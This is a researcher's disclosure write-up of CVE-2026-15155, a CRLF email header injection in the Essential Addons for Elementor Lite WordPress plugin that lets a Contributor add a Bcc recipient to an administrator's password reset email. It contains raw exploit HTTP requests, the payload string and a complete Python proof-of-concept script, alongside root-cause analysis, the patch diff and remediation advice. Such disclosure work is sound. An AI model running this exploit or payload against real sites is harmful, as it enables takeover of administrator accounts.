CVE-2026-15155: Essential Addons for Elementor Email Header Injection
TL;DR
- I found a Contributor+ account takeover via email header injection in Essential Addons for Elementor Lite, one of the most popular Elementor add-on plugins.
- The Login/Register widget builds the lost-password email headers from a stored widget setting, and that setting is only validated in the editor UI, never on the server.
- A Contributor can store CRLF in the
lostpassword_email_content_typesetting, which survives sanitisation and injects aBcc:header into the outgoing mail. - Pointing the widget's lost-password form at the
adminaccount sends a legitimate administrator password reset email, with the attacker silently added as a Bcc recipient. - The attacker receives a valid administrator reset link and can take over the account. No phishing, no victim interaction.
- The issue affects versions
<= 6.6.10, was assigned CVE-2026-15155, and was patched in 6.6.11.
Summary
Essential Addons for Elementor Lite was vulnerable to authenticated email header injection because the Login/Register widget's
lostpassword_email_content_typesetting was concatenated into raw mail headers without server-side validation, letting a Contributor add aBcc:recipient to the administrator password reset email.
- CVE: CVE-2026-15155
- Product: Essential Addons for Elementor Lite
- Active Installs: 2,000,000+
- Vulnerability: Email Header Injection leading to Account Takeover
- Affected Versions: <= 6.6.10
- Fixed In: 6.6.11
- CVSS Severity: 8.8 (high)
- CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H
- Required Privilege: Contributor+
- NVD Published: July 11, 2026
The widget declares the content-type setting as a two-option dropdown, but that restriction only exists in the Elementor editor. On the server, the stored value is dropped straight into a Content-Type: mail header that already ends in a CRLF. The plugin's own eael_wp_kses() filter runs first, but that strips HTML, not carriage returns and line feeds. So a value like html\r\nBcc: attacker@example.com splits into two headers, and the second one rides along on the WordPress password reset notification.
Introduction
[A]I was looking at how Essential Addons' Login/Register widget builds its emails and noticed how much of the flow is driven by stored widget settings. Subjects, messages, reset link text, and content types are all pulled from the saved Elementor document. That is interesting because Elementor documents can be edited by low-privileged users on posts they own, so a "widget setting" is really attacker-controlled input.
The setting that stood out was lostpassword_email_content_type. It is exposed as a dropdown with two safe-looking options, but the value ends up inside a mail header. Anything that reaches a mail header is worth checking for CRLF, and the next question was.. does anything strip the newlines before the header is built?
Root Cause Analysis
Client-Side-Only Option Control
The content type is registered as a SELECT control in includes/Elements/Login_Register.php.
// includes/Elements/Login_Register.php
$this->add_control( 'lostpassword_email_content_type', [
'label' => __( 'Email Content Type', 'essential-addons-for-elementor-lite' ),
'type' => Controls_Manager::SELECT, // [1] Dropdown with a fixed option list.
'default' => 'html',
'render_type' => 'none',
'options' => [
'html' => __( 'HTML', 'essential-addons-for-elementor-lite' ),
'plain' => __( 'Plain', 'essential-addons-for-elementor-lite' ),
],
] );
The SELECT at [1] only limits what the editor UI offers. Elementor stores widget settings as JSON in the document, and the save path does not re-check that the submitted value is one of the declared options.
Why a Contributor Can Store the Value
Elementor's own Ajax save handler decides who can write a document. It requires the document to be editable by the current user:
// core/documents-manager.php
public function ajax_save( $request ) {
$document = $this->get( $request['editor_post_id'] );
if ( ! $document->is_built_with_elementor() || ! $document->is_editable_by_current_user() ) { // [2] Only an edit-capability check.
throw new \Exception( 'Access denied.' );
}
The check at [2] is an edit-capability check, not a role gate. A Contributor can edit and save their own draft post, so they pass it. The document save routine then sanitises data for users who lack unfiltered_html:
// core/base/document.php
// ... edit-capability check and save hooks omitted.
if ( ! current_user_can( 'unfiltered_html' ) ) {
$data = map_deep( $data, function ( $value ) {
return is_bool( $value ) || is_null( $value ) ? $value : wp_kses_post( $value ); // [3] Strips HTML, not CRLF.
} );
}
The sanitisation at [3] runs wp_kses_post() over every value. That is designed to remove dangerous HTML, and it does. What it does not do is remove carriage returns or line feeds from a plain string. html\r\nBcc: attacker@example.com contains no HTML tags, so wp_kses_post() leaves it untouched. The malicious value is stored in the Elementor document exactly as submitted.
The Sink
During the lost-password flow, Essential Addons reads the stored setting back and concatenates it into a mail header in includes/Traits/Login_Registration.php:
// includes/Traits/Login_Registration.php
if ( ! empty( $settings['enable_reset_password'] ) && 'yes' === $settings['enable_reset_password'] ) {
self::$send_custom_email_lostpassword = true;
}
// ... other lost-password settings omitted.
if ( isset( $settings['lostpassword_email_content_type'] ) ) {
self::$email_options_lostpassword['headers'] =
'Content-Type: text/' . Helper::eael_wp_kses( $settings['lostpassword_email_content_type'] ) . '; charset=UTF-8' . "\r\n"; // [4] Raw setting built into a header.
}
At [4] the stored setting is placed between the literal Content-Type: text/ prefix and the ; charset=UTF-8 suffix, and the whole line is terminated with \r\n. The only cleaning applied is Helper::eael_wp_kses(), which is a thin wp_kses() wrapper:
// includes/Classes/Helper.php
public static function eael_wp_kses( $text ) {
if ( empty( $text ) ) {
return '';
}
return wp_kses( $text, self::eael_allowed_tags(), array_merge( wp_allowed_protocols(), [ 'data' ] ) ); // [5] Tag/attribute filter, CRLF passes through.
}
At [5], wp_kses() filters HTML tags, attributes, and protocols. CRLF is not an HTML construct, so it is not touched. That means the header string can be turned into multiple headers by the attacker.
The built header is then attached to the WordPress password reset notification, alongside a reset link containing the actual reset key:
// includes/Traits/Login_Registration.php
self::$email_options_lostpassword['password_reset_link'] = add_query_arg(
array(
'action' => 'rp',
'eael-resetpassword' => 1,
'key' => $key, // [6] Valid reset key for the requested account.
'login' => rawurlencode( $user_login ),
),
esc_url_raw( $this->eael_wp_login_url() )
);
// ... link assembly omitted.
if ( ! empty( self::$email_options_lostpassword['headers'] ) ) {
$defaults['headers'] = self::$email_options_lostpassword['headers']; // [7] Attacker headers applied to the reset email.
}
The reset key at [6] is a genuine WordPress reset token for whichever account the form was submitted for. At [7], the attacker-controlled header string becomes the headers of that email. Put those together and the attacker decides who else receives a message that contains a valid administrator reset link.
Header Parsing
With the setting saved as html\r\nBcc: attacker@example.com\r\nX-EAEL-Proof: x, the header line expands into three headers:
Content-Type: text/html
Bcc: attacker@example.com
X-EAEL-Proof: x; charset=UTF-8
The Content-Type stays valid, the injected Bcc is parsed as a real recipient, and the trailing ; charset=UTF-8 is absorbed harmlessly by the custom X-EAEL-Proof header. In my testing, PHPMailer treated attacker@example.com as a genuine Bcc recipient and delivered the reset email to it.
Impact
A Contributor can receive a valid administrator password reset link and use it to take over the administrator account.
Confirmed in testing:
- A default
contributoruser created a post and saved Elementor widget data containing the CRLF payload. - The stored
lostpassword_email_content_typesetting heldhtml\r\nBcc: attacker@example.com\r\nX-EAEL-Proof: x. - The SMTP capture showed the reset email envelope recipients included both the administrator address and the attacker address.
- The email body contained a working EAEL password reset URL for
admin. check_password_reset_key()accepted the extracted key for theadminuser.
This is not phishing or social engineering. The victim never visits an attacker page or clicks an attacker link. WordPress generates a legitimate reset token because someone submitted the lost-password form, and the plugin silently copies that email to the attacker before it leaves the server.
Exploitation
Preconditions
- The attacker has a Contributor account (Author or above also works).
- Elementor and Essential Addons for Elementor Lite
<= 6.6.10are active. - Elementor editing is available to the attacker's role, which is the default for Contributor and above.
- Outbound mail is configured, or the mailer can be inspected before transport. My local testing used MailHog to capture the SMTP envelope.
Contributor is enough because the widget never has to be published. Essential Addons will load the widget settings from a pending post by page_id and widget_id when the lost-password request carries a valid public EAEL nonce, and that nonce can be fetched anonymously. An Author can take an even simpler route, since they can publish the widget on a public page and read the nonce straight from that page.
Storing the Payload
The malicious document is saved through the normal Elementor Ajax save endpoint. The Contributor saves the post as pending:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
action=elementor_ajax&_nonce=ELEMENTOR_AJAX_NONCE&editor_post_id=40&actions={"save_builder":{"action":"save_builder","data":{"status":"pending","settings":{"post_status":"pending"},"elements":[{"id":"ba093c2","elType":"widget","widgetType":"eael-login-register","settings":{"default_form_type":"lostpassword","enable_reset_password":"yes","lostpassword_email_subject":"Password reset","lostpassword_email_message":"Reset link: [password_reset_link]","lostpassword_email_content_type":"html\r\nBcc: attacker@example.com\r\nX-EAEL-Proof: x"},"elements":[]}]}}}
The \r\n sequences in lostpassword_email_content_type are real carriage return and line feed characters in the JSON string.
Triggering the Reset
Next the attacker fetches a public EAEL nonce from an anonymous session, then submits the lost-password form for the administrator username. The nonce comes from the eael_get_token Ajax action:
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
action=eael_get_token
Then the lost-password submission points at the pending post and widget:
POST /wp-login.php HTTP/1.1
Host: target.example
Content-Type: application/x-www-form-urlencoded
eael-lostpassword-submit=1&eael-user-lostpassword=admin&eael-lostpassword-nonce=PUBLIC_EAEL_NONCE&page_id=40&page_id_for_popup=40&widget_id=ba093c2
Essential Addons loads the widget settings from post 40, rebuilds the header from the stored setting, and WordPress sends the administrator reset email with the injected Bcc recipient.
PoC
Below is a cleaned-up version of the Contributor PoC. It logs in as the low-privileged user, creates an Elementor post, saves the malicious widget as pending, obtains an anonymous EAEL nonce, and triggers the administrator reset email without the post ever being published.
#!/usr/bin/env python3
"""
Contributor account takeover PoC for CVE-2026-15155 (Essential Addons for Elementor Lite).
Saves a pending Elementor post with a CRLF payload in the Login/Register widget, then
triggers the lost-password flow from an anonymous session, so the post never has to be public.
"""
import argparse
import json
import random
import re
import string
from html import unescape
from urllib.parse import urljoin
import requests
UA = {"User-Agent": "Mozilla/5.0"}
def die(msg):
raise SystemExit(f"[-] {msg}")
def login(session, base, user, pwd):
session.get(urljoin(base, "wp-login.php"), timeout=20)
session.post(urljoin(base, "wp-login.php"), timeout=20, data={
"log": user, "pwd": pwd, "wp-submit": "Log In", "testcookie": "1",
"redirect_to": urljoin(base, "wp-admin/")})
if "wordpress_logged_in" not in ";".join(session.cookies.keys()):
die(f"login failed for {user}")
def create_post(session, base, title):
page = session.get(urljoin(base, "wp-admin/edit.php"), timeout=20).text
m = re.search(r"action=elementor_new_post[^\"']*_wpnonce=([a-f0-9]+)", page)
if not m:
die("could not find elementor_new_post nonce")
r = session.get(urljoin(base, "wp-admin/edit.php"), allow_redirects=False, timeout=20, params={
"action": "elementor_new_post", "post_type": "post",
"_wpnonce": unescape(m.group(1)), "post_data[post_title]": title})
m = re.search(r"[?&]post=(\d+)", r.headers.get("Location", ""))
if not m:
die("could not create Elementor post")
return int(m.group(1))
def ajax_nonce(session, base, post_id):
url = urljoin(base, f"wp-admin/post.php?post={post_id}&action=elementor")
m = re.search(r'"ajax"\s*:\s*\{[^}]*"nonce"\s*:\s*"([^"]+)"', session.get(url, timeout=30).text)
if not m:
die("could not find Elementor Ajax nonce")
return m.group(1)
def save_widget(session, base, post_id, attacker_email):
widget_id = "".join(random.choice(string.hexdigits.lower()) for _ in range(7))
payload = f"html\r\nBcc: {attacker_email}\r\nX-EAEL-Proof: contributor"
actions = {"save_builder": {"action": "save_builder", "data": {
"status": "pending", "settings": {"post_status": "pending"},
"elements": [{"id": widget_id, "elType": "widget", "widgetType": "eael-login-register",
"settings": {"default_form_type": "lostpassword", "enable_reset_password": "yes",
"lostpassword_email_subject": "Password reset",
"lostpassword_email_message": "Reset link: [password_reset_link]",
"lostpassword_email_content_type": payload},
"elements": []}]}}}
r = session.post(urljoin(base, "wp-admin/admin-ajax.php"), timeout=30, data={
"action": "elementor_ajax", "_nonce": ajax_nonce(session, base, post_id),
"editor_post_id": str(post_id), "actions": json.dumps(actions)}).json()
if not r.get("data", {}).get("responses", {}).get("save_builder", {}).get("success"):
die("Elementor save failed")
return widget_id
def anon_nonce(base):
session = requests.Session()
session.headers.update(UA)
r = session.post(urljoin(base, "wp-admin/admin-ajax.php"),
data={"action": "eael_get_token"}, timeout=20).json()
nonce = r.get("data", {}).get("nonce")
if not nonce:
die("could not fetch anonymous EAEL nonce")
return session, nonce
def trigger(session, base, nonce, post_id, widget_id, admin):
r = session.post(urljoin(base, "wp-login.php"), allow_redirects=False, timeout=30,
headers={"Referer": base}, data={
"eael-lostpassword-submit": "1", "eael-user-lostpassword": admin,
"eael-lostpassword-nonce": nonce, "_wp_http_referer": "/",
"page_id": str(post_id), "page_id_for_popup": str(post_id),
"resetpassword_in_popup_selector": "", "widget_id": widget_id})
if r.status_code not in (200, 302):
die(f"lost-password request returned HTTP {r.status_code}")
def main():
ap = argparse.ArgumentParser(description="CVE-2026-15155 Contributor account takeover PoC")
ap.add_argument("--url", required=True)
ap.add_argument("--username", required=True, help="Contributor username")
ap.add_argument("--password", required=True, help="Contributor password")
ap.add_argument("--attacker-email", required=True, help="Address to inject as Bcc")
ap.add_argument("--admin-login", default="admin", help="Target admin username or email")
args = ap.parse_args()
base = args.url.rstrip("/") + "/"
session = requests.Session()
session.headers.update(UA)
login(session, base, args.username, args.password)
post_id = create_post(session, base, "Contributor pending proof")
widget_id = save_widget(session, base, post_id, args.attacker_email)
anon, nonce = anon_nonce(base)
trigger(anon, base, nonce, post_id, widget_id, args.admin_login)
print(f"[+] Pending post {post_id}, widget {widget_id}")
print(f"[+] Reset requested for '{args.admin_login}', Bcc -> {args.attacker_email}")
print("[+] Check the Bcc inbox for the administrator password reset link")
if __name__ == "__main__":
main()
Run the PoC:
python3 cve-2026-15155.py \
--url http://target.example \
--username contributor \
--password 'contributor-password' \
--attacker-email attacker@example.com
Expected output:
[+] Pending post 40, widget ba093c2
[+] Reset requested for 'admin', Bcc -> attacker@example.com
[+] Check the Bcc inbox for the administrator password reset link
Demo

The attacker inbox now holds a copy of the administrator reset email. The raw message shows the injected Bcc header and the working reset link.

Querying the mailbox over its HTTP API (/api/v2/messages) confirms the attacker address is a real envelope recipient and exposes the reset key.

That key drives the reset form, setting a new password for the administrator account.


Patch Diffing
The 6.6.11 changelog lists this under generic hardening:
Improved: Enhanced input validation and security checks
The fix adds a strict allowlist helper and routes every email content-type setting through it. The new helper lowercases and trims the value, then rejects anything outside html and plain:
// includes/Traits/Login_Registration.php (6.6.11)
public static function eael_sanitize_email_content_type( $value, $fallback = 'html' ) {
$value = is_string( $value ) ? strtolower( trim( $value ) ) : '';
return in_array( $value, [ 'html', 'plain' ], true ) ? $value : $fallback;
}
The lost-password sink then calls it instead of eael_wp_kses():
- self::$email_options_lostpassword['headers'] = 'Content-Type: text/' . Helper::eael_wp_kses( $settings['lostpassword_email_content_type'] ) . '; charset=UTF-8' . "\r\n";
+ self::$email_options_lostpassword['headers'] = 'Content-Type: text/' . self::eael_sanitize_email_content_type( $settings['lostpassword_email_content_type'] ) . '; charset=UTF-8' . "\r\n";
Because the returned value can only ever be html or plain, no CRLF can reach the header. The same helper was applied to the sibling settings that shared the pattern, which closes the variants I flagged in the report:
- self::$email_options['headers'] = 'Content-Type: text/' . wp_strip_all_tags( $settings['reg_email_content_type'] ) . '; charset=UTF-8' . "\r\n";
+ self::$email_options['headers'] = 'Content-Type: text/' . self::eael_sanitize_email_content_type( $settings['reg_email_content_type'] ) . '; charset=UTF-8' . "\r\n";
- self::$email_options['admin_headers'] = 'Content-Type: text/' . wp_strip_all_tags( $settings['reg_admin_email_content_type'] ) . '; charset=UTF-8' . "\r\n";
+ self::$email_options['admin_headers'] = 'Content-Type: text/' . self::eael_sanitize_email_content_type( $settings['reg_admin_email_content_type'] ) . '; charset=UTF-8' . "\r\n";
The OTP content-type setting was patched the same way. Those three registration and OTP headers were built with wp_strip_all_tags(), which also leaves CRLF intact, so one helper closes all four content-type sinks at once.
Remediation
Update Essential Addons for Elementor Lite to version 6.6.11 or later. If you cannot update immediately, restrict Contributor and Author access to trusted users, since those roles are what make the widget setting writable. Any custom code that concatenates a stored setting into a mail header should validate against an allowlist and reject CR and LF before the header is built.
Disclosure Timeline
- May 22, 2026: Submitted to the Wordfence bug bounty program.
- May 27, 2026: Contacted Wordfence support due to the ticket priority "low" (3+ month ETA for triage). They advised it was due to the Author+ role requirement.
- May 29, 2026: Contacted Wordfence support to say I also confirmed it's exploitable by Contributors. They advised Contributor+ bugs will always be low priority 😩 Note: this would be OOS as of 29/06/26 - all mid-level auth vulns are now automatically rejected upon submission ðŸ˜
- July 7, 2026: Triage started.
- July 8, 2026: Report validated and CVE-2026-15155 assigned.
- July 8, 2026: Essential Addons for Elementor Lite 6.6.11 released, adding server-side content-type allowlist validation.
- July 10, 2026: Published by Wordfence as CVE-2026-15155.
- July 17, 2026: $859 bounty awarded, including a 10% "Creative Vulnerability Finder" bonus.
Conclusion
I thought this one was really cool/interesting. The dropdown looked like it constrained the content type to html or plain, but that constraint only lived in the editor, and the server trusted whatever ended up in the saved document. A page-builder "setting" is just attacker input when a low-privileged user can edit the document.
From there it was an old-fashioned CRLF injection into a mail header, with a strong sink attached. The header was built by string concatenation on a line that already ended in \r\n, so one stored newline was enough to add a Bcc recipient to an administrator's password reset email and turn a Contributor account into administrator access.
References
- Wordfence: Essential Addons for Elementor Lite <= 6.6.10 - Authenticated (Contributor+) Account Takeover via Email Header Injection
- NVD: CVE-2026-15155
- WordPress.org: Essential Addons for Elementor Lite
- Essential Addons 6.6.10: includes/Traits/Login_Registration.php
- Essential Addons 6.6.10: includes/Elements/Login_Register.php
- Essential Addons 6.6.11: includes/Traits/Login_Registration.php